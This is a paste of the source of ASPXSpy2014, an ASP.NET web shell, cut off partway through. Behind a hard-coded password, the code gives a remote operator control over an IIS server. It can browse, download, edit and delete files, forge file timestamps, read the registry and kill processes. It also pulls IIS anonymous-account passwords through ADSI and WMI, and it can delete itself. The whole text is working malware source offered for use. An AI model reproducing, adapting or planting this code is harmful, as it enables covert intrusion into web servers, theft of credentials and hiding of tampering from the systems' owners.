SHOW:
|
|
- or go back to the newest paste.
1 | <%@ Page Language="C#" Debug="false" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> | |
2 | <%@ import Namespace="System.IO"%> | |
3 | <%@ import Namespace="System.IO.Compression"%> | |
4 | <%@ import Namespace="System.Diagnostics"%> | |
5 | <%@ import Namespace="System.Data"%> | |
6 | <%@ import Namespace="System.Data.OleDb"%> | |
7 | <%@ import Namespace="System.Data.Common"%> | |
8 | <%@ Import Namespace="System.Data.SqlClient"%> | |
9 | <%@ import Namespace="System.Management"%> | |
10 | <%@ import Namespace="Microsoft.Win32"%> | |
11 | <%@ import Namespace="System.Net" %> | |
12 | <%@ import Namespace="System.Net.Sockets" %> | |
13 | <%@ import Namespace="System.Reflection"%> | |
14 | <%@ import Namespace="System.Runtime.InteropServices"%> | |
15 | <%@ import Namespace="System.DirectoryServices"%> | |
16 | <%@ import Namespace="System.ServiceProcess"%> | |
17 | <%@ import Namespace="System.Text.RegularExpressions"%> | |
18 | <%@ Import Namespace="System.Security"%> | |
19 | <%@ Import Namespace="System.Security.Permissions"%> | |
20 | <%@ Import Namespace="System.Threading"%> | |
21 | <%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> | |
22 | <%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> | |
23 | <%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> | |
24 | <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> | |
25 | <script runat="server"> | |
26 | /* | |
27 | Thanks Snailsor,FuYu,BloodSword,Cnqing,Dream | |
28 | Code by Bin | |
29 | Make in China | |
30 | Blog: http://www.rootkit.net.cn | |
31 | E-mail : master@rootkit.net.cn | |
32 | ||
33 | Mod by zcgonvh,last modified on 2014-01-23 | |
34 | Blog: http://z-cg.com | |
35 | Bug or idea: zcgonvh@rootkit.net.cn | |
36 | */ | |
37 | public const string Version="ASPXSpy2014"; | |
38 | public const string Password="ee16285c431e985ff8747c54471ac2ef"; //admin | |
39 | private const string DomainUserName="administrator";//change it if domain user name not equals "administrator" | |
40 | private const string PMCacheName=Version+"PMList"; | |
41 | private int CssC=1; | |
42 | private DbConnection conn=null; | |
43 | private DbCommand comm=null; | |
44 | protected void Page_Load(object sender,EventArgs e) | |
45 | { | |
46 | JscriptSender(this); | |
47 | if (!Bin_CheckLogin()){return;} | |
48 | if(IsPostBack) | |
49 | { | |
50 | zcg_GetDriver(); | |
51 | zcg_SetHeaderInfo(); | |
52 | string Bin_Target=Request["__EVENTTARGET"]; | |
53 | string Bin_Path=Request["__File"]; | |
54 | if(Bin_Target!="") | |
55 | {try{ | |
56 | switch(Bin_Target) | |
57 | { | |
58 | case "Bin_Listdir": | |
59 | Bin_File(Bin_FromBase64(Bin_Path)); | |
60 | break; | |
61 | case "Bin_Deldir": | |
62 | Bin_Deldir(Bin_FromBase64(Bin_Path)); | |
63 | break; | |
64 | case "Bin_Createfile": | |
65 | Bin_CreateFile(Bin_Path); | |
66 | break; | |
67 | case "Bin_Editfile": | |
68 | Bin_CreateFile(Bin_Path); | |
69 | break; | |
70 | case "Bin_Createdir": | |
71 | Bin_CreateDir(Bin_Path); | |
72 | break; | |
73 | case "Bin_CloneTime": | |
74 | Bin_CloneTime(Bin_Path); | |
75 | break; | |
76 | case "Bin_DownFile": | |
77 | Bin_DownFile(Bin_FromBase64(Bin_Path)); | |
78 | break; | |
79 | case "Bin_DelFile": | |
80 | Bin_DelFile(Bin_Path); | |
81 | break; | |
82 | case "Bin_Regread": | |
83 | Bin_ShowReg(Bin_FromBase64(Bin_Path)); | |
84 | break; | |
85 | case "Bin_KillMe": | |
86 | Bin_KillMe(); | |
87 | break; | |
88 | case "zcg_KillProcess": | |
89 | zcg_KillProcess(Bin_Path); | |
90 | break; | |
91 | case "zcg_ListADS": | |
92 | zcg_txbADSPath.Value=Bin_FromBase64(Bin_Path); | |
93 | zcg_EnumADSChildrenAndListProperties(Bin_FromBase64(Bin_Path),zcg_txbADSUser.Value,zcg_txbADSPass.Value,zcg_txbADSType.Value); | |
94 | break; | |
95 | case "zcg_ClosePM": | |
96 | zcg_ClosePM(Bin_FromBase64(Bin_Path)); | |
97 | break; | |
98 | } | |
99 | if(Bin_Target.StartsWith("zcg_Rename")) | |
100 | { | |
101 | zcg_Rename(Bin_FromBase64(Bin_Target.Replace("zcg_Rename","")),Bin_Path); | |
102 | } | |
103 | else if(Bin_Target.StartsWith("Bin_CFile")) | |
104 | { | |
105 | Bin_CopyFile(Bin_FromBase64(Bin_Target.Replace("Bin_CFile","")),Bin_Path); | |
106 | } | |
107 | }catch(Exception ex){zcg_ShowError(ex);}} | |
108 | } | |
109 | else | |
110 | {Bin_Main();} | |
111 | } | |
112 | void IHttpHandler.ProcessRequest(HttpContext context) | |
113 | { | |
114 | try{base.ProcessRequest(context);} | |
115 | catch(SecurityException ex){context.Response.Clear();context.Response.Write("AspxSpy request low-trust minimum,Exception message: "+ex.Message);} | |
116 | catch(Exception ex){context.Response.Write(String.Format("Unhandled exception: {0} <pre><xmp>\r\nmessage:\r\n {1} \r\ntrace:\r\n {2} \r\n string:\r\n {3}</xmp></pre>",ex.GetType(),ex.Message,ex.StackTrace,ex));} | |
117 | } | |
118 | private void Hide_Div() | |
119 | { | |
120 | Bin_Div_Process.Visible = false; | |
121 | Bin_Div_File.Visible = false; | |
122 | Bin_Div_Cmd.Visible = false; | |
123 | Bin_Div_Reg.Visible = false; | |
124 | Bin_Div_PortScan.Visible = false; | |
125 | Bin_Div_Data.Visible = false; | |
126 | Bin_Div_PortMap.Visible = false; | |
127 | Bin_Div_Edit.Visible = false; | |
128 | Bin_Div_Search.Visible = false; | |
129 | Bin_Div_WmiTools.Visible = false; | |
130 | zcg_div_ADSViewer.Visible=false; | |
131 | zcg_div_Plugin.Visible=false; | |
132 | } | |
133 | private bool Bin_CheckLogin() | |
134 | { | |
135 | if(Request.Cookies[Version]==null) | |
136 | { | |
137 | Bin_Login(); | |
138 | return false; | |
139 | } | |
140 | else | |
141 | { | |
142 | if (Request.Cookies[Version].Value!=Password) | |
143 | { | |
144 | Bin_Login(); | |
145 | return false; | |
146 | } | |
147 | else | |
148 | { | |
149 | return true; | |
150 | } | |
151 | } | |
152 | } | |
153 | private void Bin_Login() | |
154 | { | |
155 | Bin_Div_Login.Visible=true; | |
156 | Bin_Div_Content.Visible=false; | |
157 | } | |
158 | protected void Bin_Button_Logout_Click(object sender,EventArgs e) | |
159 | { | |
160 | Session.Abandon(); | |
161 | Response.Cookies.Add(new HttpCookie(Version,null)); | |
162 | Bin_Login(); | |
163 | } | |
164 | private void Bin_Main() | |
165 | { | |
166 | zcg_SetHeaderInfo(); | |
167 | zcg_GetDriver(); | |
168 | if (Bin_TextBox_Path.Value=="") | |
169 | { | |
170 | Bin_TextBox_Path.Value=Bin_PathBuild(Server.MapPath(".")); | |
171 | } | |
172 | Bin_File(Bin_TextBox_Path.Value); | |
173 | } | |
174 | private void zcg_SetHeaderInfo() | |
175 | { | |
176 | Bin_Div_Content.Visible=true; | |
177 | Bin_Div_Login.Visible=false; | |
178 | Bin_Button_CreateFile.Attributes["onClick"]="var filename=prompt('Please input the file name:','');if(filename){Bin_PostBack('Bin_Createfile',filename);}"; | |
179 | Bin_Button_CreateDir.Attributes["onClick"]="var filename=prompt('Please input the directory name:','');if(filename){Bin_PostBack('Bin_Createdir',filename);}"; | |
180 | Bin_Button_KillMe.Attributes["onClick"]="if(confirm('Are you sure delete ASPXSPY?')){Bin_PostBack('Bin_KillMe','');};"; | |
181 | Bin_Span_Sname.InnerHtml=Request.ServerVariables["LOCAL_ADDR"]+":"+Request.ServerVariables["SERVER_PORT"]+"("+Request.ServerVariables["SERVER_NAME"]+")"+zcg_CheckPermission(); | |
182 | Bin_Span_FrameVersion.InnerHtml="Framework Ver : "+Environment.Version.ToString(); | |
183 | } | |
184 | private string zcg_CheckPermission() | |
185 | { | |
186 | string s=" Host Trust Level: <span style='color:red;'>{0}</span> IsFull-Trust: <span style='color:red;'>{1}</span> User:  <span style='color:red;'>{2}</span>"; | |
187 | string u=zcg_GetUserName(); | |
188 | try{(new PermissionSet(PermissionState.Unrestricted)).Demand();return string.Format(s,GetTrustLevel(),true,u);} | |
189 | catch{return string.Format(s,GetTrustLevel(),false,u);} | |
190 | } | |
191 | private string zcg_GetUserName() | |
192 | { | |
193 | try{return System.Security.Principal.WindowsIdentity.GetCurrent().Name;}catch{return "Unknown -- No permission";} | |
194 | } | |
195 | private string GetTrustLevel() | |
196 | { | |
197 | try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Unrestricted).Demand();return "Full";}catch{} | |
198 | try{new AspNetHostingPermission(AspNetHostingPermissionLevel.High).Demand();return "High";}catch{} | |
199 | try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Medium).Demand();return "Medium";}catch{} | |
200 | try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Low).Demand();return "Low";}catch{} | |
201 | try{new AspNetHostingPermission(AspNetHostingPermissionLevel.Minimal).Demand();return "Minimal";}catch{} | |
202 | try{new AspNetHostingPermission(AspNetHostingPermissionLevel.None).Demand();return "None";}catch{} | |
203 | return "Unknown"; | |
204 | } | |
205 | private void zcg_GetDriver() | |
206 | { | |
207 | string[] drivers=null; | |
208 | try{drivers=Directory.GetLogicalDrives();} | |
209 | catch{string drs=""; | |
210 | for(int i=0x41;i<0x5b;i++) | |
211 | { | |
212 | string ds=new string((new char[]{(char)i,':','\\'})); | |
213 | try | |
214 | { | |
215 | DriveInfo di=new DriveInfo(ds); | |
216 | if(di.DriveType!=DriveType.NoRootDirectory){drs+=ds+"|";} | |
217 | }catch{} | |
218 | finally{drivers=drs.Split(new char[]{'|'},(StringSplitOptions)1);} | |
219 | }} | |
220 | Bin_Span_Drv.InnerHtml=""; | |
221 | for(int i=0;i<drivers.Length;i++) | |
222 | { | |
223 | Bin_Span_Drv.InnerHtml+=String.Format("<a href=\"javascript:Bin_PostBack('Bin_Listdir','{0}')\">{1}</a> | ",Bin_ToBase64(drivers[i]),Bin_Drvbuild(drivers[i])); | |
224 | } | |
225 | } | |
226 | private string Bin_PathBuild(string path) | |
227 | { | |
228 | if(!path.EndsWith(@"\")){path+=@"\";}return path; | |
229 | } | |
230 | private string Bin_Drvbuild(string instr) | |
231 | { | |
232 | DriveInfo di=new DriveInfo(instr); | |
233 | return String.Format("{0}({1}:)",di.DriveType,instr[0]); | |
234 | } | |
235 | private string Bin_ToBase64(string instr) | |
236 | { | |
237 | byte[] tmp=Encoding.UTF8.GetBytes(instr); | |
238 | return Convert.ToBase64String(tmp); | |
239 | } | |
240 | private string Bin_FromBase64(string instr) | |
241 | { | |
242 | byte[] tmp=Convert.FromBase64String(instr); | |
243 | return Encoding.UTF8.GetString(tmp); | |
244 | } | |
245 | private TableRow zcg_GetTableRow() | |
246 | { | |
247 | TableRow tr=new TableRow(); | |
248 | zcg_SetControlAttribute(tr); | |
249 | return tr; | |
250 | } | |
251 | private void zcg_SetControlAttribute(WebControl ctl) | |
252 | { | |
253 | string bg=Bin_Css(); | |
254 | ctl.Attributes["onmouseover"]="this.className='focus';"; | |
255 | ctl.CssClass=bg; | |
256 | ctl.Attributes["onmouseout"]="this.className='"+bg+"';"; | |
257 | } | |
258 | private void Bin_File(string path) | |
259 | { | |
260 | try{ | |
261 | Hide_Div(); | |
262 | Bin_Div_File.Visible=true; | |
263 | Bin_H2_Title.InnerText="File Manager >>"; | |
264 | Bin_TextBox_Path.Value=Bin_PathBuild(path); | |
265 | path=(path.EndsWith("\\")&&(!path.EndsWith(":\\")))?path.TrimEnd('\\'):path; | |
266 | DirectoryInfo Bin_dir=new DirectoryInfo(path); | |
267 | try{ | |
268 | if(Directory.GetParent(path)!=null) | |
269 | { | |
270 | TableRow p=zcg_GetTableRow(); | |
271 | for(int i=1;i<6;i++) | |
272 | { | |
273 | TableCell pc=new TableCell(); | |
274 | if(i==1) | |
275 | { | |
276 | pc.Width=Unit.Parse("2%"); | |
277 | pc.Text="0"; | |
278 | } | |
279 | if(i==2) | |
280 | { | |
281 | pc.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Directory.GetParent(path).ToString())+"')\">Parent Directory</a>"; | |
282 | } | |
283 | p.Cells.Add(pc); | |
284 | Bin_Table_File.Rows.Add(p); | |
285 | } | |
286 | }}catch{} | |
287 | try | |
288 | { | |
289 | int dir_c=0; | |
290 | foreach(DirectoryInfo Bin_folder in Bin_dir.GetDirectories()) | |
291 | { | |
292 | dir_c++; | |
293 | TableCell tc=new TableCell(); | |
294 | tc.Width=Unit.Parse("2%"); | |
295 | tc.Text="0"; | |
296 | TableRow tr=zcg_GetTableRow(); | |
297 | tr.Cells.Add(tc); | |
298 | TableCell dirname=new TableCell(); | |
299 | dirname.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')\">"+Bin_folder.Name+"</a>"; | |
300 | tr.Cells.Add(dirname); | |
301 | TableCell dirtime=new TableCell(); | |
302 | dirtime.Text=Bin_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss"); | |
303 | tr.Cells.Add(dirtime); | |
304 | Bin_Table_File.Rows.Add(tr); | |
305 | TableCell dirsize=new TableCell(); | |
306 | dirsize.Text="--"; | |
307 | tr.Cells.Add(dirsize); | |
308 | Bin_Table_File.Rows.Add(tr); | |
309 | TableCell diraction=new TableCell(); | |
310 | diraction.Text="<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){Bin_PostBack('Bin_Deldir','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('Please input the new folder name:','"+Bin_folder.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('zcg_Rename"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_folder.Name)+"',filename);} \">Rename</a>"; | |
311 | tr.Cells.Add(diraction); | |
312 | Bin_Table_File.Rows.Add(tr); | |
313 | } | |
314 | TableRow intr=new TableRow(); | |
315 | intr.Attributes["style"]="border-top:1px solid #fff;border-bottom:1px solid #ddd;"; | |
316 | intr.Attributes["bgcolor"]="#dddddd"; | |
317 | TableCell intc=new TableCell(); | |
318 | intc.Attributes["colspan"]="6" ; | |
319 | intc.Attributes["height"]="5"; | |
320 | intr.Cells.Add(intc); | |
321 | Bin_Table_File.Rows.Add(intr); | |
322 | int file_c=0; | |
323 | foreach(FileInfo Bin_Files in Bin_dir.GetFiles()) | |
324 | { | |
325 | file_c++; | |
326 | TableRow tr=zcg_GetTableRow(); | |
327 | TableCell tc=new TableCell(); | |
328 | tc.Width=Unit.Parse("2%"); | |
329 | tc.Text="<input type=\"checkbox\" value=\"0\" name=\""+Bin_ToBase64(Bin_Files.Name)+"\">"; | |
330 | tr.Cells.Add(tc); | |
331 | TableCell filename=new TableCell(); | |
332 | if(Bin_Files.FullName.StartsWith(Request.PhysicalApplicationPath)) | |
333 | { | |
334 | string url=Request.Url.ToString(); | |
335 | filename.Text="<a href=\""+Bin_Files.FullName.Replace(Request.PhysicalApplicationPath,url.Substring(0,url.IndexOf('/',8)+1)).Replace("\\","/")+"\" target=\"_blank\">"+Bin_Files.Name+"</a>"; | |
336 | } | |
337 | else | |
338 | { | |
339 | filename.Text=Bin_Files.Name; | |
340 | } | |
341 | TableCell filetime=new TableCell(); | |
342 | filetime.Text=Bin_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss"); | |
343 | TableCell filesize=new TableCell(); | |
344 | filesize.Text=Bin_FileSize(Bin_Files.Length); | |
345 | TableCell action=new TableCell(); | |
346 | action.Text="<a href=\"#\" onclick=\"Bin_PostBack('Bin_DownFile','"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"')\">Down</a> | <a href='#' onclick=\"var filename=prompt('Please input the new path(full path):','"+Bin_TextBox_Path.Value.Replace(@"\",@"\\")+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('Bin_CFile"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Copy</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_Editfile','"+Bin_Files.Name+"')\">Edit</a> | <a href='#' onclick=\"var filename=prompt('Please input the new file name(full path):','"+Bin_Files.Name.Replace("'","\\'")+"');if(filename){Bin_PostBack('zcg_Rename"+Bin_ToBase64(Bin_TextBox_Path.Value+Bin_Files.Name)+"',filename);} \">Rename</a> | <a href=\"#\" onclick=\"Bin_PostBack('Bin_CloneTime','"+Bin_Files.Name+"')\">Time</a> "; | |
347 | tr.Cells.Add(filename); | |
348 | tr.Cells.Add(filetime); | |
349 | tr.Cells.Add(filesize); | |
350 | tr.Cells.Add(action); | |
351 | Bin_Table_File.Rows.Add(tr); | |
352 | } | |
353 | TableRow cktr=zcg_GetTableRow(); | |
354 | for(int i=1;i<4;i++) | |
355 | { | |
356 | TableCell cktd=new TableCell(); | |
357 | if(i==1) | |
358 | { | |
359 | cktd.Text="<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>"; | |
360 | } | |
361 | if(i==2) | |
362 | { | |
363 | cktd.Text="<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){Bin_PostBack('Bin_DelFile',d_file)};}\">Delete selected</a>"; | |
364 | } | |
365 | if(i==3) | |
366 | { | |
367 | cktd.ColumnSpan=4; | |
368 | cktd.Style.Add("text-align","right"); | |
369 | cktd.Text=dir_c+" directories/ "+file_c+" files"; | |
370 | } | |
371 | cktr.Cells.Add(cktd); | |
372 | } | |
373 | Bin_Table_File.Rows.Add(cktr); | |
374 | } | |
375 | catch(Exception err) | |
376 | { | |
377 | zcg_ShowError(err); | |
378 | }}catch(Exception ex){zcg_ShowError(ex);} | |
379 | } | |
380 | private string Bin_Css() | |
381 | { | |
382 | CssC++; | |
383 | if(CssC % 2==0) | |
384 | { | |
385 | return "alt1"; | |
386 | } | |
387 | else | |
388 | { | |
389 | return "alt2"; | |
390 | } | |
391 | } | |
392 | private void Bin_Deldir(string dirstr) | |
393 | { | |
394 | try | |
395 | { | |
396 | Directory.Delete(dirstr,true); | |
397 | Bin_Msg("Directory delete success !"); | |
398 | } | |
399 | catch(Exception error) | |
400 | { | |
401 | zcg_ShowError(error); | |
402 | } | |
403 | Bin_File(Directory.GetParent(dirstr).ToString()); | |
404 | } | |
405 | private void zcg_Rename(string source,string dire) | |
406 | { | |
407 | try | |
408 | { | |
409 | dire=Path.Combine(Bin_TextBox_Path.Value,dire); | |
410 | Directory.Move(source,dire); | |
411 | Bin_Msg("Rename Success !"); | |
412 | } | |
413 | catch(Exception error) | |
414 | { | |
415 | Bin_Msg(error.Message); | |
416 | } | |
417 | Bin_File(Bin_TextBox_Path.Value); | |
418 | } | |
419 | private void Bin_CopyFile(string spath,string dpath) | |
420 | { | |
421 | try | |
422 | { | |
423 | File.Copy(spath,dpath); | |
424 | Bin_Msg("File Copy Success !"); | |
425 | } | |
426 | catch(Exception error) | |
427 | { | |
428 | zcg_ShowError(error); | |
429 | } | |
430 | Bin_File(Bin_TextBox_Path.Value); | |
431 | } | |
432 | private void Bin_CreateDir(string path) | |
433 | { | |
434 | try | |
435 | { | |
436 | Directory.CreateDirectory(Bin_TextBox_Path.Value+path); | |
437 | Bin_Msg("Directory created success !"); | |
438 | } | |
439 | catch(Exception error) | |
440 | { | |
441 | zcg_ShowError(error); | |
442 | } | |
443 | Bin_File(Bin_TextBox_Path.Value); | |
444 | } | |
445 | private void Bin_CreateFile(string path) | |
446 | { | |
447 | if(Request["__EVENTTARGET"]=="Bin_Editfile" || Request["__EVENTTARGET"]=="Bin_Createfile") | |
448 | { | |
449 | foreach(ListItem item in Bin_List_Code.Items) | |
450 | { | |
451 | if(item.Selected) | |
452 | { | |
453 | item.Selected=false; | |
454 | } | |
455 | } | |
456 | } | |
457 | Bin_H2_Title.InnerText="Create/ Edit File >>"; | |
458 | Hide_Div(); | |
459 | Bin_Div_Edit.Visible=true; | |
460 | if(path.IndexOf(":")< 0) | |
461 | { | |
462 | Bin_TextBox_Fp.Value=Bin_TextBox_Path.Value+path; | |
463 | } | |
464 | else | |
465 | { | |
466 | Bin_TextBox_Fp.Value=path; | |
467 | } | |
468 | if(File.Exists(Bin_TextBox_Fp.Value)) | |
469 | { | |
470 | StreamReader sr; | |
471 | if(Bin_List_Code.SelectedItem.Text=="UTF-8") | |
472 | { | |
473 | sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.UTF8); | |
474 | } | |
475 | else | |
476 | { | |
477 | sr=new StreamReader(Bin_TextBox_Fp.Value,Encoding.Default); | |
478 | } | |
479 | Bin_Textarea_Edit.InnerText=sr.ReadToEnd(); | |
480 | sr.Close(); | |
481 | } | |
482 | else | |
483 | { | |
484 | Bin_Textarea_Edit.InnerText=""; | |
485 | } | |
486 | } | |
487 | private void Bin_DownFile(string path) | |
488 | { | |
489 | FileStream fs=null; | |
490 | byte[] buffer=new byte[0x1000]; | |
491 | int count=0; | |
492 | try{ | |
493 | FileInfo fi=new FileInfo(path); | |
494 | fs=fi.OpenRead(); | |
495 | Response.Clear(); | |
496 | Response.ClearHeaders(); | |
497 | Response.Buffer=false; | |
498 | this.EnableViewState=false; | |
499 | Response.AddHeader("Content-Disposition","attachment;filename="+HttpUtility.UrlEncode(fi.Name,System.Text.Encoding.UTF8)); | |
500 | Response.AddHeader("Content-Length",fi.Length.ToString()); | |
501 | Response.ContentType="application/octet-stream"; | |
502 | count=fs.Read(buffer,0,0x1000); | |
503 | while(count>0) | |
504 | { | |
505 | Response.OutputStream.Write(buffer,0,count); | |
506 | Response.Flush(); | |
507 | count=fs.Read(buffer,0,0x1000); | |
508 | } | |
509 | Page.Response.Flush(); | |
510 | Response.End(); | |
511 | }catch(Exception ex){zcg_ShowError(ex);} | |
512 | finally{if(fs!=null){fs.Close();}} | |
513 | } | |
514 | private void Bin_DelFile(string path) | |
515 | { | |
516 | try | |
517 | { | |
518 | string[] mydata=path.Split(','); | |
519 | for(int i=0;i<mydata.Length-1;i++) | |
520 | { | |
521 | File.Delete(Bin_TextBox_Path.Value+Bin_FromBase64(mydata[i])); | |
522 | } | |
523 | Bin_Msg("File Delete Success !"); | |
524 | } | |
525 | catch(Exception error) | |
526 | { | |
527 | zcg_ShowError(error); | |
528 | } | |
529 | Bin_File(Bin_TextBox_Path.Value); | |
530 | } | |
531 | private void Bin_KillMe() | |
532 | { | |
533 | try | |
534 | { | |
535 | File.Delete(Request.PhysicalPath); | |
536 | Response.Redirect("http://www.rootkit.net.cn"); | |
537 | } | |
538 | catch(Exception error) | |
539 | { | |
540 | zcg_ShowError(error); | |
541 | } | |
542 | } | |
543 | private void Bin_CloneTime(string path) | |
544 | { | |
545 | ||
546 | try{ | |
547 | path=Path.Combine(Bin_TextBox_Path.Value,path); | |
548 | Bin_TextBox_Sp.Value=path; | |
549 | Bin_TextBox_Dp.Value=Bin_TextBox_Path.Value; | |
550 | Bin_TextBox_Sp1.Value=path; | |
551 | string Att=File.GetAttributes(Bin_TextBox_Sp.Value).ToString(); | |
552 | Bin_H2_Title.InnerText="Clone file was last modified time >>"; | |
553 | Hide_Div(); | |
554 | Bin_Div_Time.Visible=true; | |
555 | if(Att.LastIndexOf("ReadOnly")!=-1) | |
556 | { | |
557 | Bin_CheckBox_ReadOnly.Checked=true; | |
558 | } | |
559 | if(Att.LastIndexOf("System")!=-1) | |
560 | { | |
561 | Bin_CheckBox_System.Checked=true; | |
562 | } | |
563 | if(Att.LastIndexOf("Hidden")!=-1) | |
564 | { | |
565 | Bin_CheckBox_Hiddent.Checked=true; | |
566 | } | |
567 | if(Att.LastIndexOf("Archive")!=-1) | |
568 | { | |
569 | Bin_CheckBox_Archive.Checked=true; | |
570 | } | |
571 | Bin_TextBox_Creation.Value=File.GetCreationTimeUtc(Bin_TextBox_Sp1.Value).ToString(); | |
572 | Bin_TextBox_LastWrite.Value=File.GetLastWriteTimeUtc(Bin_TextBox_Sp1.Value).ToString(); | |
573 | Bin_TextBox_LastAccess.Value=File.GetLastAccessTimeUtc(Bin_TextBox_Sp1.Value).ToString(); | |
574 | }catch(Exception ex){zcg_ShowError(ex);} | |
575 | } | |
576 | private String Bin_FileSize(Int64 fileSize) | |
577 | { | |
578 | if(fileSize<0) | |
579 | { | |
580 | throw new ArgumentOutOfRangeException("fileSize"); | |
581 | } | |
582 | else if(fileSize >= 1024 * 1024 * 1024) | |
583 | { | |
584 | return string.Format("{0:########0.00} G",((Double)fileSize)/(1024 * 1024 * 1024)); | |
585 | } | |
586 | else if(fileSize >= 1024 * 1024) | |
587 | { | |
588 | return string.Format("{0:####0.00} M",((Double)fileSize)/(1024 * 1024)); | |
589 | } | |
590 | else if(fileSize >= 1024) | |
591 | { | |
592 | return string.Format("{0:####0.00} K",((Double)fileSize)/ 1024); | |
593 | } | |
594 | else | |
595 | { | |
596 | return string.Format("{0} B",fileSize); | |
597 | } | |
598 | } | |
599 | private void Bin_IISSpy() | |
600 | { | |
601 | string iisstr="IIS://localhost/W3SVC"; | |
602 | DirectoryEntry mydir=new DirectoryEntry(iisstr); | |
603 | foreach(DirectoryEntry child in mydir.Children) | |
604 | { | |
605 | int tmpi=0; | |
606 | if(Int32.TryParse(child.Name.ToString(),out tmpi)) | |
607 | { | |
608 | DirectoryEntry newdir=new DirectoryEntry(iisstr+"/"+child.Name.ToString()); | |
609 | DirectoryEntry dirmsg=newdir.Children.Find("root","IIsWebVirtualDir"); | |
610 | TableRow TR=zcg_GetTableRow(); | |
611 | TR.Attributes["title"]="Site:"+child.Properties["ServerComment"].Value.ToString(); | |
612 | for(int i=1;i<6;i++) | |
613 | { | |
614 | try | |
615 | { | |
616 | TableCell TC_USER=new TableCell(); | |
617 | switch(i) | |
618 | { case 1: | |
619 | TC_USER.Text=tmpi.ToString(); | |
620 | break; | |
621 | case 2: | |
622 | TC_USER.Text=dirmsg.Properties["AnonymousUserName"].Value.ToString(); | |
623 | break; | |
624 | case 3: | |
625 | TC_USER.Text=dirmsg.Properties["AnonymousUserPass"].Value.ToString(); | |
626 | break; | |
627 | case 4: | |
628 | StringBuilder sb=new StringBuilder(); | |
629 | PropertyValueCollection pc=child.Properties["ServerBindings"]; | |
630 | for (int j=0; j < pc.Count; j++) | |
631 | { | |
632 | sb.Append(pc[j].ToString()+"<br>"); | |
633 | } | |
634 | TC_USER.Text=sb.ToString().Substring(0,sb.ToString().Length-4); | |
635 | break; | |
636 | case 5: | |
637 | TC_USER.Text="<a href=\"javascript:Bin_PostBack('Bin_Listdir','"+Bin_ToBase64(dirmsg.Properties["Path"].Value.ToString())+"')\">"+dirmsg.Properties["Path"].Value.ToString()+"</a>"; | |
638 | break; | |
639 | } | |
640 | TR.Cells.Add(TC_USER); | |
641 | } | |
642 | catch{continue;} | |
643 | } | |
644 | Bin_Table_IISSpy.Controls.Add(TR); | |
645 | } | |
646 | } | |
647 | } | |
648 | private void Bin_WMI_IISSpy() | |
649 | { | |
650 | Regex re=new Regex(@"W3SVC\/(\d+)\/",RegexOptions.IgnoreCase); | |
651 | ManagementScope wmiscope=new ManagementScope(@"\\.\root\MicrosoftIISv2"); | |
652 | wmiscope.Connect(); | |
653 | ObjectQuery wmiquery=new ObjectQuery("SELECT * FROM IISWebVirtualDirSetting"); | |
654 | ManagementObjectSearcher wmisearcher=new ManagementObjectSearcher(wmiscope,wmiquery); | |
655 | ManagementObjectCollection querycoll=wmisearcher.Get(); | |
656 | foreach(ManagementObject objmanage in querycoll) | |
657 | { | |
658 | string siteid=re.Matches(objmanage["Name"].ToString())[0].Groups[1].Value; | |
659 | TableRow TR=zcg_GetTableRow(); | |
660 | for(int i=1;i<6;i++) | |
661 | { | |
662 | try | |
663 | { | |
664 | TableCell TC_USER=new TableCell(); | |
665 | switch (i) | |
666 | { | |
667 | case 1: | |
668 | TC_USER.Text=siteid; | |
669 | break; | |
670 | case 2: | |
671 | TC_USER.Text=objmanage["AnonymousUserName"].ToString(); | |
672 | break; | |
673 | case 3: | |
674 | TC_USER.Text=objmanage["AnonymousUserPass"].ToString(); | |
675 | break; | |
676 | case 4: | |
677 | wmiquery=new ObjectQuery("SELECT * from IISWebServerSetting where Name='W3SVC/"+siteid+"'"); | |
678 | wmisearcher=new ManagementObjectSearcher(wmiscope,wmiquery); | |
679 | ManagementObjectCollection svrcoll=wmisearcher.Get(); | |
680 | foreach(ManagementObject objsvr in svrcoll) | |
681 | { | |
682 | StringBuilder sb=new StringBuilder(); | |
683 | TR.Attributes["title"]="Site:"+objsvr["ServerComment"]; | |
684 | foreach(ManagementBaseObject objbind in (ManagementBaseObject[])objsvr["ServerBindings"]) | |
685 | { | |
686 | sb.Append(objbind["IP"].ToString()+":"+objbind["Port"].ToString()+":"+objbind["Hostname"].ToString()+"<br>"); | |
687 | } | |
